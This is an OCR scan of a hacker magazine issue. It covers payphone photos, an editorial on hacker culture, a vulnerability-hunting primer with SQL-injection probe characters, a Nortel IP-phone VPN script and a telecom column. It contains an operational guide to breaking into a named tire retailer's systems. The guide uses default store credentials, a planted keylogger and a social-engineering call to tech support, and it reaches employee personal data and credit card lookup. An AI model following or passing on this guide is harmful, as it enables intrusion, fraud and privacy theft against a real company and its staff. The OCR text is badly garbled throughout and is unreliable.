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North Korean Payphone
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At long last, we have pictures of actual payphones in the streets of P yongyang. These are the kind that r
North Koreans use, not the ones found in tourist hotels. All of these pictures are-of the same payphe
bank, which is possibly the only one of its kind in the country, Here we see kids crow ding excite
around the phones, just as they do at payphanes all over the world. The allure of communicatic
seems to be universal,

This is the same bank of phones as seen from ||}t‘1}]1;1(?‘~|[t end, taken while P 1ssing in a bus. There ne
seems to be a time when these ':J\p]m'u'\ aren’t extraordinarily busv. Thev're located r|'|-n outsicde
Number One Department Store and adjacent to a metro station.

Photos by Emmanuel Goldstein
Got foreign payphone photos for us? Email them to payphones@2600.com.
Use the highest quality settings on your digital camera!
(More photos on inside back cover)
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We've wilnessed a greal change in our
cultwre over the last couple of decades. But
many of aur readers have only been around
themselves for that amount of time or even
less, Therefore it's important 1o look at whal
has changed so that some perspective can
be gleaned out of what's been going on, And
for the rest of us, it's important to remember
so we can also learn and hopefully plan
things out for a better future.

Peaple used to get involved in hacking
back when the world of computer and
telephone technology was just beginning
to open up because for many of us it was
the only way in. Owning a computer was
something most of us could only dream
about. And the telephone network was
big and omnipotent and kept out of the
reach of those who wanted to shape it and
experiment.

In the early days, if you wanted to play
with a UNIX system, you almost had o
use one that you didn't have permission to
access, If you wanted to communicate on
something higger than a one or two line
BBS, breaking into a system run by the
government or a large corporation was a
path many of us chose.

The cost of making a telephone call was
almost universally prohibitive for anyone
wha had the desire to try and communicate
with people outside their local area. Methads
were devised and shared that allowed those
with a bit of technical knowledge, a spirit of
rebellion, and a desire to explore the ability
to make calls all around the world, not just
to other peaple like them hut also to opera-
tors and technicians who could help them
understand the vast system.

Today it's a completely different land-
scape, at least for those of us in the devel-
oped world. Hopping on the net and
communicating worldwide is something
practically everyone takes for granted these
days. It means nothing to acciess a website
that's coming from another part of the world
whereas in the past it would have been a big
deal to see even a foreign newspaper in the
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library, Delails of our daily lives are shared
planetwide through our blogs, mailing lists,
mabile phones, laptops, and scares ot other
devices and methods. Contaciing anyone
anywhere al any time has never been easier
or cheaper.

It would seem that everything those
hackers of the not-so-distant past were
setting out to achieve has been accom-
plished. Access is readily available 1o most
of us, communications around the glohe
are cheap ar free, information on operating
systems and computer programs is shared
rather than restricted, and conceplts like
open source software, free access, and open
expression seem to be flourishing or, at the
very least, heavily in demand,

S0 where do the hackers fit in today?
How are they even relevant?

To answer this requires an understanding
of what hacking actually is. Il you're of the
belief that the world of hacking comprises
little more than making free phone calls and
infiltrating computer systems, then the rele-
vance factor has indeed gone way down.
There is no long distance anymore; There
seems to be little that is beyond reach. You
no longer have to be a hacker to figure it
all out. And since computers are now every-
where, all sorts of people are accessing
things they're not supposed o have access to,
regardless of their technical ability. Whether
it's a university that leaves the personal
data of 90,000 people up on a website, a
certain government agency that still has its
routers accessible to the entire world using
default passwords, or individuals who feel
compelled to post an astounding amount
of personal data and private thoughts on
sites like MySpace, Facebook, Livejournal,
Blogger, and so many others - infiltration
and the obtaining of data that we really
shouldn’t be able to obtain is hardly a chal-
lenge anymore.

To many that challenge has been
reversed. Instead of trying to figure out
ways o penetrate a system, the task now
is to keep from being victimized by our
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collective naivete and the poor security that
pervades the computers running our society.
Maintaining your own privacy, avoiding the
many ways of becoming a victim, and ulti-
mately designing better systems is the next
step that many of us are already taking.

While these are all positive things to be
involved in, they are mostly defensive and
lack the real edge of what the hackers of
old were involved in. For those who have
never experienced this, it's very difficult to
describe. But it's a feeling of knowing that
you're into something fascinating that most
“normal” people could never understand
and that one day might lead to something
incredible. It's also something that is usually
forbidden for one reason or another, often
because the people in control also realize
the tremendous potential and they fear the
sense of empowerment that individuals
might gain by understanding this.

Lots of people see the thrill in being
involved with something like the hacker
world because it's portrayed with a hint
of insurgency and self-determination. It's
romanticized in our movies, on television,
and in literature. Even in mainstream stories,
the hero always operates outside the rules in
order to get lhe job done effectively, as well
as to be defined as a true individual. And
for the vast majority of those interested in
becoming part of the hacker culture, this is
all that matters: the image. That, even more
than the changing technologies, is what
threatens the relevancy of the hacker world.
It's the epitome of a rebel without a cause.

There are all sorts of stories that have
been written about victors in a war who then
have no idea how to handle their triumph
because they never expected to win. There
are elements of that which can be applied
to hackers. We no longer need to struggle to
accomplish those lhinc?s we wanted, mainly
communications, understanding, and the
sharing of information. Those all seem to
be the defaults now. In that regard we have
most definitely won.

But luckily the hacker mentality goes
quite a bitbeyond those concepts. Discovery
never ends. Nor do those forces that want
total control over societies and individuals,
those forces which we must engage in
perpetual battle with. As long as they exist -
in other words, for the duration of humanity
- the hacker mentality will continue to be
relevant and essential.

It's difficult not to get sucked into the
world of popularity, especially when what
you are saying or doing happens to become
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trendy. We've faced this odd problem for;\
large part of our existence. We've watched
many good ideas turn into vastly successful
business models, We've seen many people
become insanely rich. And we've witnessed
the inevitable gap that develops between
the original goals and the realities of the
markelplace when “success” strikes. It's not
that higger isn't always better. The original
picture, however, does tend to become
obscured when it's surrounded by flashi-
ness and mass appeal. This may be fine for
promoting commercial products but it's
ahout the worst thing that could happen to
an entity with ideals.

An interesting parallel is that of govern-
menlt. Many years ago it was possible to be
heard as an individual, even all the way to
the top leadership positions. Today that is all
but impossible with all of the “protection”
and virtual firewalls that keep the people
from their leaders. This is not a healthy
progression. There is growing and then there
is growing apart.

We will remain relevant as long as we
keep thinking and developing as individuals.
It's clear the landscape has changed and it
would be foolish to not change with it. But to
say the hacker world is dead because there’s
nothing left to hack shows a profound lack
of understanding as to what hacking actually
is. It’s not a fashion statement or a fad. It's not
a bunch of people looking to break the laws
and get everything there is to get for free. It's
a state of mind that keeps one in a constant
stale of questioning everything around
them, whether it be technological in nature,
a set of rules, or an entire belief system. It's
about adapting and experimenting, far more
than most others would ever attempt. And,
perhaps mos! importantly, it's about sharing
what you learn and what you experience,
not just with fellow hackers but with the rest
of the world. It’s likely most of the latter will
have no idea just what it is you're doing and
in fact may completely misunderstand your
motives. But perceptions change over time,
one way or another.

We're always looking to hold onto our
spirit here and to self-examine as much as
possible. This is why we sent out reader
surveys to all of our subscribers earlier this
year. In the next issue we hope to be able to
analyze the pile of opinions and suggestions
we've gotten back. The enthusiasm we've
seen so far is all the evidence we need lo
conclude that we've slill got something
amazing here.
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DISCOVER

by Cliff —

“H3y d00Dz w7 R t3h r3dlTy k3wl hAx
4...2" Aren't you just sick of reading this kinda
thing? Guess what, the “k3wl hax” don't get
designed and published by Microsoft each
woeek. People find them. Where do exploits
and vulns (system vulnerabilities) got found?
They're usually bugs or misused features,
But how do they get discovered? How can
you discover your own, or better still, how
can you reduce the risk of someone clse
finding vulns with your code? I'm going to
talk in general terms about methodologies as
opposed to any script-kiddie examples.

Exploits

Exploits are vulnerabilities that have been
taken to the next level - someone has seen
a weaknessivuln and then worked out how
to abuse it. An exploit may allow illegal
corle 10 be run, it may just crash a system,
or it may open a back door for further abuse
later. Exploits are pretty much limited by the
vulnerability found, but sometimes what
appears a minor vulnerability can open up a
chain of exploits. Some types of exploils are
described below.

Reboot - make the server require a restart,
This can interrupt other pracesses, maybe
require manual starts of some tools, cause
a lot of anxiety, “stability” issues, and other
bad things. Very hard (o track down.

Starve of Oxygen - strangle all the other
apps on the box. If apps run out of system
resources (typically RAM or Disk), they can
el panicky and slart throwing errors of
awir own. Starving a box using one vuln/
exploit may force other apps to fail, possibly
revealing secrets along the way, or at leas
being a huge pain to clear up,

Slow to crawl = i all the starved apps
above behave well, they'll just starve 1o
death, and the server will spend every CPU
cycle dealing with error messages from dying
applications,

Reveal a secret = we ust had the one-
hundred-millionth (that's 4 huge number,
100,000,000 seconds is over three vears!) set
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ol customer sensitive data leaked by computer
systems in the U.S. Of course the real number
is much higher; these 100 million were the
ones that had to be confessed. Computers
hold so many secrets and they're held so
insecurely that secret-fishing is a massive
exploit. Secrets could be personal details, or
even server details, both valuable to different
groups. If an app under duress will report its
database ﬁlt-p.llh, for instance, other attacks
can be crafled to attempl to retrieve that file
tand the goodies it contains!),

Run illegal code — The server details e
a very useful secret for further exploitation.
Megal code may run in-process and so widen
the hole of the vulnerability by giving esca-
lated privs.

Open a door — Wegal code could be used
to install a backdoor into the system, making
future breaches easier

Pwn 3dd! = and the box becomes a zombie,
completely owned by someone other than
the owner!

Failing Ineleganllt

Great, you've written the killer ﬂ’:ﬁ for
whatever system/language/etc. Well done!
You probably started as a proof-of-concept,
then added a bit of testing onto the end, then
fixed it for the tests that failed, and called it
RTM. There is only one person in the world
less qualified to test your code than you are
and that's your mother. You are the world's
worst test of your own code. You know the
workflows, you know where the bodies are
buried, you know which bits have 1o be
handled gently.

Unfortunately, your users won’t. Users
are dumb, all of them. I they weren't dumb,
they'd have written the app themselves, so
assume they're dumb. If you went so far as to
provide a manual/iraining for your app, your
users will either forget it or use it as a bible.
But you'll have forgotten one or two key
points, so they’ll improvise. They'll put a null
in the cost box instead of a zero. Hell, they
may even type “zero”. Likely this'll cause
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your system to fail. How it fails is critical not
just 1o the app, but to every other system on
the machine!

Yum! Resources! — it your app fails cata-
strophically and fails to release resources
imemory  usually), you're enemy number
one. [xploit: crash the app a few limes and
walch as other systems struggle for oxygen.
Omne of them may do something cool, or at
the very least, force a rebool.

Dog in the Manger — your app fails, but
in failing pops up a modal dialogue warning
of the failure before closing down. Exploit:
similar 10 above, the program holds server
resources hostage until some stupid “ok”
hox is ticked... on a blade in a massive server
tarm!

Debug Messages = your app fails, and
in order 10 help you oul, it tells you some
secrets about where and how it failed. Now
everyone knows what version of .NET (or
whatever) you're running and, lookee here, a
snippet of the app code. That could be handy
later.....

Lrror Messages — like Debug messages,
but less friendly. It's quite common to see
databases telling you things about them-
selves when a web app has fatled 1o consider
a problem (e, MySQL, Access),

You can force inelegant (ailures by feeding
in bad data tremember that user who typed
“zera”? What if it was malicious?! You may
not know how ta exploit a vuln, but some-
hody else might, so treal all vulns as scrious.

Unexpected Input = Unexpected Output

Applications usually deal in one or another
with dala. In fact, if they don't they're prob-
ably jusl cartoons and not werth bothering
with. Data can go into or come oul of some
kind of datastore, usually a database package
of some sort. This is cool. It means we may be
able 1o get some secrets out in exchange for
llLl1tinp, some weird stuff in (technical name
1ere is SQL Injection).

How do you get to enter weird stufi?
Have a look at the app vou're testing and
start typing things into the fields you can type
things into. The key here is to type in things
the application isn't expecting. Good apps
will validate these attacks away, poor ones
won't. Inputs typically expect roxt, a number
or sometimes even a tile — don’t give them
exactly what theyre expecting,

If they want a file (e.g., an avatar upload
for a forum), try passing them an mip3, or
an exe. See what happens. You should have
the file rejected straight away, but it the
app accepts an exe, you may find a way 1o
exccule it (on the server!) later.

I the app wants a number, what kind of
number does it want? If it expects an integer,
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try giving il a float tor any other nt)n—integeb
such as 3.14159).

What happens if you give it a 0? Or a
0.0000000000000012 Or =12 Or 999999
<snip loads more 9s> 992 Or “zero™?

One of these tests may upset the system if
it tries to insert rext into a numeric tield, or
tries 1o divide by zera. If the system is strong,
it'll faugh at your efforts. But lesser apps will
trip up and maybe tell you a bit about the
system!

If the app expects text, then try giving
it loads of text. Try giving it non-prinling
characters, Try giving it characters that have
special uses too - my favourites are *5/&--"%*?,
spaces, and various combinations of them
depending on what 've discovered about the
app Gl it has an MSSQL backend, try teeding
fields with %%";--). This can be fascinating if
you get your entered text echoed back to you
on the next page (for instance a scarch form),
as i your entry isn’l parsed and validated.
You can stant building database queries 1o
discover more about the app and possibly
release secret data,

Websites may be probed by messing
with their query strings if they pass data in
the query string (what appears in the address
bar. You may want 1o try HTMLEncoded
values.

So what if you hit a web app with massive
JavaScript validation? It may have similar
matching validation on the server or the
developer may have been lazy. Try a tool like
Tamper Data (a Firefox extension) to tweak
exactly what gets posted back to the server
after the JavaScript has had its fun and tried
to stop you!

Can’t Take the Strain

Load testing is the opposite of a DDoS
attack. Proper load testing will let you know
how much activity your server/app can
handle betore melting down using the exact
same 1ools as you could use for a DDoS. You
just watch the results more closely.

Microsoft has a great free stress/load
testing application “Weh Application Stress
Tool” aka Homer. Find it on their website,
They also have a fancier one with some of
the datacenter editions of some tools, but
Homer will do all you need. There are doubt-
less many others available wo.

Start off by working oul what a “sensible’
workllow through your site may be, and
record it Now play that workflow back with
more clients and note which pages seem 1o
he slowest (from the resulls). Ramp it up a
bil more, keep noling your results, and keep
going. If you graph vour results, vou'll notice
a pretty linear rise in response times until you
hit an clbow in the curve where responses

-
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/;:_t-t dramatically slower. This is your theo-
retical maximum load. Of course, real world
usage isn't nearly so relentless as a cluster
on the same LAN hammering one app, but
usage will come in peaks, and you must be
able to handle those peaks, not the average
(including overnight load!

1'm sure you've found one or two pages of
your app which seem to cause you the most
delays. Rewrite them or split them into parts
and keep the server load down. Il probably
be the page with all the big database access/
writes, etc., so loor at uptimising those,

If testing someone else’s site, make sure
you have permission first. One man's load
test is another man’s DDoS!

Finally

When writing your app, try designing
in security from the beginning. This means
coding defensively, (‘xpo(tin}};}your audience
to be at best dumb, at worst, hostile! Validate
every field you have both on the server and
client, and only accept values within the
most restrictive range. Expect non-alphanu-
meric characters and the effects they can
have. Trap specific errors, all you can think

The Shift
Gulide to

by The Thermionic Overlord

With stores splattered all over the United
States, chances are you've been to a Tire
Kingdom at some point for an oil change,
tires, or an overpriced brake job. TK sure
runs a slick business, with intimate corpe-
rate micromanagement made possible by a
centralized network architecture.

Imagine what you could do if you
controlled Tire Kingdom’s main computer
systems: With manager's privileges alone, you
have the ability to hire and fire employees,
change pay rates, look up commercial and
cansumer credit card data, even commit
outright theft. It's easier than you think with
this article as your unofficial guide.

Getting In

The heart of Tire Kingdom is asao0, tirek

-om, an IBM AS5400 located in Juno

i nadom.

\*lege{i

Tire Kingd

of, and handle them gracefully. Always h(w;\
a catchall rar unspecified errors, and again,

handle it prac viui{y. Get your code read and

tested by friends/peers/colleagues  (open

source software has a passive testing pool of

peers).

Test your app on a virtual machine of
some sort (Microsoft Virtual PC or VMWare)
so you can recover from errors quickly and
easily without killing any other apps. Talk to
your datacenter guys about the possibility
of using virtual servers (again VMWare/
Microsoft both have excellent offerings) 1o
completely ringfence apps. Always make
sure you disable any debug modes you have
before going public with your app, and
finally load test your app so vou know how it
will cope over time. If you know up front that
you will run into loading problems in about
three months with expected growth, you can
plan for app tuning or hardware expansions
and make sure you don't starve other apps
causing them to fail. And in all that spare
time you now have, why not try finding some
new vulns?

U.S. connect ta this system every day through

standard DSL or cable connections for
upgraded stores, dialup lines for older ones.
If you telnet to as400.tirekingdom.com, the
system will throw vou a login screen at any
time of day or night without complaint. What
about that username and password? Pick a
store number. For Store 121, log in as 5121,
password §121, et cetera. You can'l actually
do anvthing unless your P address is recog-
nized by the system (TKH but there exist ways
around this prablem.

Waltz up to your local store on a Saturday
when theyre slammed and take a peek at the
generic PCs on the counter running terminal
emulation software, Each one is numbered
in the pattern of § (store number) PC (PC
number), as in S121PCO3. On the terminal

/
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(c_nftware, that same PC would have a display
D of 5121DSPO3. Taped to at least one of
the computers at the main counter will be
a list of employee numbers for everyone at
the store, including managers. You have to he
hehind the counter to see this, however....
Getting Behind the Counter

If you'd like to play around with the system
from a store location with impunity, ask to
speak to the general manager and tell him you
want to apply for a job. Note the name of the
store manager. You'll need it later. He’ll most
likely steer you to one of the PCs immedi-
ately and log onto TK Intranet (intranet.tirek-
ingdom.com, username TK(store#), password
TK(store#), domain TKI). He'll sign into the
peploy hiring management console with his
employee number and password and leave
you to fill out an application. As soon as he’s
gone, fire up a command prompt and enter
tracert as400.tirekingdom.com. Note the last
hop on the store network and write this IP
address down for future reference. It's the
Cisco 2500 router underneath the counter.
You'll have no web access because all DNS
requests besides TK Intranet and a handful of
partner companies are blocked.

If you've brought your handy flash drive
with a keystroke logger program, now is
the time to take advantage of it. Dump the
program into an unused directory, fire it up,
and don’t worry for a second about an anti-
virus. You won't find one.

When they're not paying attention too
closely, pick up their phone and call another
Tire Kingdom, not one in the general area
of yours. Explain to whomever picks up the
phone that you've lost/spilled coffee on your
yellow book with the tech support number
in it, and could they pretty please give it to
you, you're having trouble connecting to the
AS400. Write this number down on a picce
of paper along with the managoer’s employee
number, the router's internal IP, the store's
external 1P if you can find i, and whatever
artistic doodles you've been working on.

Day Two

Wait until Monday to return to the store as
Sundays are generally dead. Make sure you
pet a good night's sleep since you'll have 1o
work quickly today.

Walk in as il you own the place and 1ell
the body at the counter that you're finishing
an application, Return to the same computer
and copy your keystroke log 1o your flash
drive, making sure to wipe the original with
the Wi])e utility you should be carrying, Busy
yoursell with whatever hackerish antics you
desire until the body at the desk is no longer
paying close aftention to you, then grab a

N

phone and walk it around a corner for some
privacy. By now you should know the manag-
er’s employee number, password, router and
store IP, tech supporl phone number, and
a static IP address associated with a public
computer (not the one at your house).

A Quick Note on TK Passwords

Every TK employee has a six or seven digit
employee numger which they keep during
their tenure at Tire Kingdom. They also have
a password between six and eight digits long,
as mandated by the AS400's security policy,
that must be changed every 90 days. The
password cannot be the same as any of the
two or three previous passwords and cannot
contain special characters to my knowl-
edge. However, 99.9% of all TK passwords
will be completely numeric as every counter
employee including managers keys with their
right hand on the numerical pad. For speed,
most of them are only six characters in length
and are chosen to be quick to pound out.

Tech Support is Here to Help You

Call the tech support number. Have your
spiel polished, rehearsed, and ready to go.
When you get someone on the line, tell them
some variation of the following:

“Hi, this is (manager’s name), the
manager of TK(storek), and we're having a
lot an::robk‘ms with our Internet access. |
keep getting an error when | try to connect,
the AS400 keeps telling me I'm signing on
from an unknown IP address, and to call you
guys with this IP address: (the static IP of a
com{:)uter you have access to).”

If your social engineering ruse works,
prepare for pandemonium as the Tire
Kingdom you're in loses all access to the
AS400. Hang up the phone and walk out,
and quickly get behind the IP address you
gave the help desk.

Owning

By now you should have all of the infor-
mation you need to spectacularly Own the
AS400 as a manager. The AS400 is configured
tor case of use, and finding vour way around
should be no problem. For real fun, log into
intranet . tirckingdorm.con, (lick Deploy,
log in as your managerial seli, and promote
everyone as high as you possibly can. veploy
will give you access to an employee’s home
address. all persanal intormation, sometimes
even A picture. The AS300 has provisions for
retail credit card lookup, 1oo.... I you dig
deep enough, vou'll find information that no
one shauld be able 1o aceess, mayhe even
yours....

Shouts oy fvsch and lynch, Lardlog, 3mit3,
D] Hekla, and the Democratic Congross:
Please don't fuck it up.

/
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by Ariel Saia

I thought it would be fun to try connecting
one of our company’s Nortel [P phones from
my home using my broadband connection
and a VPN tunnel back to our carporate
office. So | took one of our Nortel 2004
phones home and starting seeing what 1
could do with it.

I first needed to get into the phone’s setup.
That was easy enough. | powered the unit up
and once | saw the Nortel logo come up on
the display, | hit the group of four buttons
one at a time (below the LCD screen) in
sequence 1-2-3-4 from left to right. In the
SNUP | noticed our telephony department
configures the phone with full DHCP with
data and voice VLAN smarts in the phone.
Since my goal was to use the phone in a very
basic home network environment, | would
need to manually configure some of these
seftings (more on this later). However | did
notice the S1 server (Nortel phone server)
specified. So at this point it looked promising
that | could have my office [P phone working
al my house.

For the first step | needed to create my
VPN tunnel to corporate, | had a $400 Cyber-
Guard SG560 firewall/vpn device floating
around and decided to configure it as a PPTP
client and connect it to my company's PPTP
VPN server. Once connected | could then
ping the §1 server (Nortel phone server) from
the SG560 box. Fantastic! | trekked on; | now
needed to configure the phone to communi-
cate over this link rather than being on our
internal LAN. | went into the phone’s setup
again and selected “0” for no DHCP. | then
gave the phone a static IP address (on the
same subnet as the LAN on my SG560 box)
of 192.168.1.10, netmask 255.255.255.0,
and 192.168.1.1 as the gateway. The next
option was the S1 IP (Nortel phone server)
172.16.201.11, Next was the ST port. |
selected the default port of 4100. 1 also opted
for the defaults for ST Action “1” and Retry
Count “5” and repeated the same steps for
kS'.!, | then was asked for a “Voice VLAN.” |
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selected “0” for no on the Voice and Data
VLAN. | still had my SG560 connected
to my corporate PPTP server. The phone
rebooted and after about two minutes the
phone connected to the §1 server and was
prompting me for a Node and TN number
this is how the phone is registered to the
Nortel phone system). The next day | asked
one of my friends in the telephony depart-
ment to provide me with a “Node” and “TN”"
for my phone. | returned home, plugged the
numbers into the phone, and Wahl..{lf The
phone connected!

I picked up the handset and called my
friend. 1 could then hear him pick up his
handset and begin talking but he couldn’t
hear me from his end. After some head
scratching | decided to put a packet sniffer
between my SG560 box and my broadband
connection. | found the Nortel phone server
was trying to send packets to the phone
during my phone call on port UDP/5201 and
my SG560 box was of course dropping the

ackets. | then created a rule on the SG560

ox lo redirect any incoming UDP/5201
traffic to 192.168.1.10 (the IP phone). | then
placed my call again and he could now hear
me and | could hear him. So there | sat with
an office extension in my house!

I told my friend in the telephony depart-
ment about my test and of course he wanted
one for his house too. However, after hearing
he would need a $400 CyberGuard unit,
excitement quickly turned to disappoint-
ment. | now was determined to come up with
a reliable and inexpensive way to use our 1P
office phones in remote locations.

I had a Linksys WRT54G v4 router flashed
with DD-WRT (one of the best third party
firmware) that | had been using for Wi-Fi
bridging. | remembered seeing the capability
of using it as a PPTP or OpenVPN client/
server, So | configured the router as a PPTP
client just like the SG560 unit and added
to port forwarding (UDP 5201) needed by
the Nortel phone system. The IP phone
connected and my test calls were made
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successfully, again just like in the SG560 over my company’s PPTP VPN server. | now wanted)
to test the reliability of the WRT54G. | quickly tound that the PPTP connection would drop
within a few hours and not reconnect without requiring a reboot of the router. This of course
was not an acceptable option so | started looking into OpenVPN as an alternative to PPTP. In
the meantime my friend from the telephony department found Nortel was selling a solution
(Nortel Contivity) that essentially does the same thing for about $350-$450 per phone and
about 10k for the backend VPN server, Ouch!

Now more than ever | wanted to build a solution on open source software, | installed
my favorite Linux distribution (SuSe 10.1) on a spare server we had in our server room and
began the OpenVPN setup. | tested the Linksys WRT54G (DD-WRT) with the OpenVPN
tlient instead of PPTP. | wrote this custom startup script for DD-WRT that creates the needed
certificate files and calls the OpenVPN client, also monitoring the tunnel for inactivity, and
acts accordingly.

DD-WRT Startup Script

(remember not to enable OpenVPN in the DD-WRT GUI since this script calls it for you)
echo 'slesp 8' == /tmp/vpngo.sh
mkdir /emp/openvpn
=cho "

-----~BEGIN CERTIFICATR-----

v¥*Add Your IPcop Server Cert HERE|!+*=*
+==-END CERTIFICATE-----

" » /tmp/openvpn/ca.crt

.<\:ho "
~-BEGIN CERTIFICATE-----
“*+ADD Your IPcop Client Cer: HERE|ls+¥
----END CERTIFICATR-----
" > ftmp/openvpn/elient  ort

acho "

.- -BEGIN RSA PRIVATE KEY----
*+*Ardd Your I1PCop Private Hey HERE||*+

END RSA PRIVATE EKEY

" » /tmp/openvpn/client . key
echo "client
dev tun
prota udp
remote **+*YOUR PUBLIC IPCOP SERVER*** 1194
reaolv-retry infinite

persiat-tun

float

keepalive 10 120

fun-mtu 1400

Lun-meu-extra 32

mesfix 1300

ca /tmp/openvpn/ca.crt

*ert /rtmp/openvpn/clienc.ort

key /tmp/openvpn/client.key"” > /tmp/openvpn/openvpn.conf

ocho 'iptables -A POSTROUTING -t nat -o tun0 -j MASQUERADE' > /ump/openvpn/roure-up.sh
echo 'iptablea -D POSTROUTING -t nat -o tun0 -j MASQUERADE' > /tmp/openvpn/route down.sh
echo 'iptablea -t nat -1 PREROUTING -i tun0 -p udp --dport S000:5300 -

= § DNAT --to-destination 192.168.1.10' >> /tmp/vpnga.sh

echo 'iptablea -I INPUT -p tcp --dport 443 -4 leogaccept' => /tmp/vongo.sh

echo 'iptablea -T INPUT -p tcp --dport 22 -j logaccept' >» /tmp/vpngo.sh

chmod 777 /tmp/openven/route-up.sh

chmod 777 /tmp/openvopn/route-down.sh

echo 'result=0' =>> ftmp/vpngo.sh

echo 'pinglosa=0' == /tmp/vpngo.sh

echo 'pinglogs2=0' =» /tmp/vpngo.sh

echo 'rm /jtmp/vpngo.ah' »s /twp/vpngo.sh

echo 'rm /tmp/vpngo.sh' > femp/vpngo.sn

echo 'rm /tmp/keypass' »» /tmp/vpngo.sh

echo 'date 092011082007' »= /unp/vpngo.sh

echo 'touch /rmp/keypass® => /tmp/vpngo.sh

echo 'echo '++#+PKCSi2 File Password+***' > /tmp/keypasa' »> Jtmp/vpngo.sh

echo '/usr/sbin/openvpn --coenfig /tmp/cpenvpn/openvpn.conf --route-up /tmp/cpenvpn/route-
w yp.sh --down /tmp/openvon/route-down.sh --askpasa /tmp/keypass’' >s /emp/vpngo.ah

@eho sleep 60' =>> /tmp/vpngel.sh
acho while [ "x*" ]' s> /tmp/vpngo.sh
acho do' s> ftmp/vpnan2.sh

acho ! slesp 12' >> /tmp/vpngo2.sh

acho regult="ifconfig tund 2>&1 | grep -c RUNNING ' => /emp/wvpigos,sh
echo if | $result -eq 0 1' »> /tmp/vpngo2.sh
acho then' »» /femp/vpngo?. sh
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L sleep 10' >> /tmp/vpngo2.sh \
i result="1fconfig tun0 2>&1 | grep -c RONNING™' >> /twmp/vpngol.sh
echo * if [ $result -eq 0 ]' »>> /tmp/vpngo2.sh
echo * then' >> /tmp/vpngol.sh
echo ' while [ $result -eq 0 ]' »» /tmp/vpngol.sh

L}

L}

Fr.-hn
acho

echo da' »>» /tmp/vpngol.sh
echo killall opanvpn®' »» /[tmp/vpngo2.sh
echo /usr/sbin/openvpn --config /tmp/openvpn/openvpn.

w conf --route-up /tmp/apenvpn/route-up.sh --down /tmp/openvpn/
w route-down,sh --askp /emp/keyp &' >» /tmp/vpngo2,sh

echo ' sleep 40' >> /tmp/vpngo2.sh

echo ' iptables -t pat -I PREROUTING -i tund -p udp --dportc
W 5000:5300 -j DMAT --to-destination 192.168.1.10' >> /tmp/vpngo2.sh

echo ! iptables -I INPUT -p tep --

dport 443 -j logaccept' >» /tmp/vpngo2.sh

echa iptables -I INPUT -p tcp --dport 22 -j logaccept' >> /rmp/vpngol.sh
echo result="ifconfig tun0 2>&1 | grep -¢ RUNNING'' »> /bmp/vpngo2.sh
echo done' »> /tmp/vpngol.sh

L}
L
echo ' result="ifconfig tund 2-&1 | grep -c RUNNING" ' »> /tmp/vpngo2.sh
echo ' £i' »> /emp/vpngoZ.sh

L}

echo £i' »> /tmp/vpngol.sh

echa sleep 11' >> /tmp/vpngol.sh

echo ' pingloss2="ping -¢ 5 172.16.201.11 | grep -

= - *100% packet loss"™™' >» /tmp/vpngoZ.sh

echo ' if [ Spingloss2 -eq 1 1' >> /emp/vpngo2.sh

echo ' then' »> /tmp/vpngo2.sh

echo * sleep 10' >> /tmp/vpngo2.sh

echo ' pingloss2="ping -c 8 172.16.201.11 | grep -

* c *100% packet lodas"”' »> /tmp/vpngo2.sh

echo ' if [ Spinglessz -eq 1 ]' »> /tmp/vpngo2.sh
echo * thent »> /tmp/vpngo2.sh

echa ' pinglossi="ping -c 8 #+4¥OUR PUBLIC LPCOP
& SERVER*** | grep -c "100% packet losa™"' >> /tmp/vpngo2.sh
echa if { $pinglossl -eq 0 1' »> /tmp/vpngo2.sh
echo * then' »» /tmp/vpngo2.sh

echo ' killalil openvpn' =>> /tmp/vpngo2.sh

echo ' sleep 1' >> /tmp/vpngo2.sh

echo ' Jjusr/shin/openvpn --config /tmp/openvpn/openvpn.

= conf --route-up /tmp/openvpn/route-up.sh --down /tmp/openvpn/
= route-down.sh --askpass /tmp/keypass &' >> /tmp/vpngol.sh

echo ' sleep 2' >> /tmp/vpngo2.sh
echo ! £i' »> ftmp/vpngolZ.sh

echo ! £i' »> femp/vpngol.sh

echo ' fi' >» /emp/vpngo2.sh

echa ' done' > /rmp/vpngo2.sh

chmod 777 /tmp/vpngo.sh
chmod 777 /tmp/vpngol.sh
chmad 777 /tmp/keypass
sh /tmp/vpngo.sh &

sh /emp/vpngo2.sh

***DD-WRT Firewall Scripreees

iptables -t nat -T PREROUTING -i tunu -p udp --dport
w 5000:5300 -j DMAT --to-destination 192.168.1.10
iptables -1 INPUT -p tcp --dport 22 -j logaccept
iptables -I INPUT -p tcp --dport 443 -j logaccept

The router stayed connected and was reconnecting when necessary. This was to be the
rock solid remote IP phone solution | was searching %ur. However | wanted others to also
manage the server and to be able to set up new certificates (phone users) when necessary
and my SuSe setup via certificates would be a challenge for non-Linux admins. So | needed
an easier more user-iriendly management interface, IPCop with “Zerini” would fit the bill
perfectly. | installed iPCop with the OpenVPN add-an “Zerini.” | was surprised at how easy it
was to configure multiple OpenVPN tunnels with the built in certificate manager. As for the
DD-WRT box, all | needed to have the end users do was to plug it inte any DHCP epabled
network with Internet access. That it! | then convinced management to purchase 65 Linksys
WRT54GLs for less than $45 each and flashed them with DD-WRT (v23sp1-vpn). However
you don't necessary need to purchase WRT54GLs. Any supported router listed on the DD-
WRT site will do. We now have over 60 remote users (sales, support, etc.) that rely on their
phones every day, and already have plans to more than double the number of users! | have
tested this with Nortel’s i2001, i2002, i2004, and i2007 [P phones. You can also use this setup
to cannect remote offices as well, nat just Nortel [P phones!

Thanks to “BrainSlayer” for DD-WRT (www.dd-wrt.com) and the IPCop crew (www.

= ipcop.orgl!
/
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by The Prophet

Greelings from the Central Office! It's
hard to believe that summer is already here,
but the solstice is just around the corner and
the rain has already gotten a little warmer.

Although 1 rarely see the sun from my

| windowless workplace, we actually get
a lot of it during the summer. Here in the
Pacific Northwest, the sun rises just after
five in the morning, and doesn't set until
aiter nine at night. With only three months
a year of semi-decent weather, people spend
a lot more time outdoors, and maobile pLone
usage skyrockets, Cagitalmm being what it
is, unscrupulous maobile service providers
are lurking in the shadows with an inter-
esting new way to make a quick buck. And,
like our indigenous (and revolting) banana
slugs, they're leaving a trail of slime wher
ever they go.

The more that scams change in the tele-
communications industry, the more they stay
the same. During the 1980s, premium-rate
‘information services" such as 976, 540, and
900 numbers were introduccd, Although
there were a few exceptions (such as pay-per-

call technical support lines), these services
were mostly scams intended to hilk unsus-
pecting subscribers. They'd offer dial-a-joke,
dial-a-moan, or other services ol cdubious
value, adding eye-popping (and often undis-
closed) charges 1o a subscriber's monthly
bill. When you received an outrageous
phone bill, Ma Bell would claim that they
were just a billing agent, but then threatened
to shut off your phone if you didn't pay the
so-talled “third party” charges. There woere
few (il any) regulations around dise losure of
